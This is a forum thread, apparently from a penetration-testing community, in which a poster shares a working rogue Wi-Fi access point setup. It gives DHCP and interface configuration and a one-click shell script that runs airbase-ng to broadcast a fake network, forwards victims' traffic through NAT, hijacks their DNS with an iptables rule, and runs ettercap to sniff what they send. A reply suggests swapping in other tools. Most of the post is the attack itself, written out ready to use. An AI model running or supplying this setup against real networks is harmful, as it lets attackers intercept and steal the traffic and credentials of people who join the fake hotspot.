mike007 Posted April 1, 2010 Share Posted April 1, 2010 Ok, first off this code is from Deathray's post here http://forums.remote-exploit.org/backtrack...g-tutorial.html The code didn’t work for me with the new dhcp3 and bt4 so I re-did some work and got it working. So here are my changes. I am using eth0 for my internet connection and wlan0 for the ap First: You need to edit your /etc/dhcp3/dhcpd.conf file. I am using the following: option domain-name-servers 10.0.0.1; default-lease-time 600; max-lease-time 7200; ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 208.67.222.222, 208.67.220.220; } Second: Edit your interface file at /etc/network/interfaces Mine looks like this: auto lo iface lo inet loopback auto eth0 iface eth0 inet dhcp auto eth1 iface eth1 inet dhcp auto eth2 iface eth2 inet dhcp auto ath0 iface ath0 inet dhcp auto wlan0 iface wlan0 inet static address 192.168.0.1 network 192.168.0.1/24 netmask 255.255.255.0 Broadcast 192.168.0.254 Third: Use this code in an .sh file to run it all with one click kill `cat /var/run/dhcpd.pid` killall -9 dhcpd3 airbase-ng ettercap airmon-ng stop wlan0 ifconfig wlan0 down airmon-ng start wlan0 modprobe tun konsole -e airbase-ng -e wifitest -v mon0 & sleep 10 ifconfig at0 up ifconfig at0 10.0.0.1 netmask 255.255.255.0 ifconfig at0 mtu 1400 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 mkdir -p /var/run/dhcpd && chown dhcpd:dhcpd /var/run/ sleep 5 dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcd.pid at0 iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain echo 1 > /proc/sys/net/ipv4/ip_forward iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface at0 -j ACCEPT iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.0.1 echo > /var/lib/dhcp3/dhcpd.leases konsole -e dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 konsole -e ettercap -T -q -p -i at0 // // & sleep 3 That is all and it works fine for me. But for those who are familiar with this, go ahead and look through and find some places to change, i have only been doing this for a few days. Remember credit goes to Deathray, i just changed it to work with dchp3 and bt4 on my machine. Quote Link to comment Share on other sites More sharing options...
NUSHOR Posted April 1, 2010 Share Posted April 1, 2010 I used fragrouter to forward my packets between interfaces (fragrouter -E1) and used GADMIN for my dhcp configuration. Easier in my opinion and less code to type. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.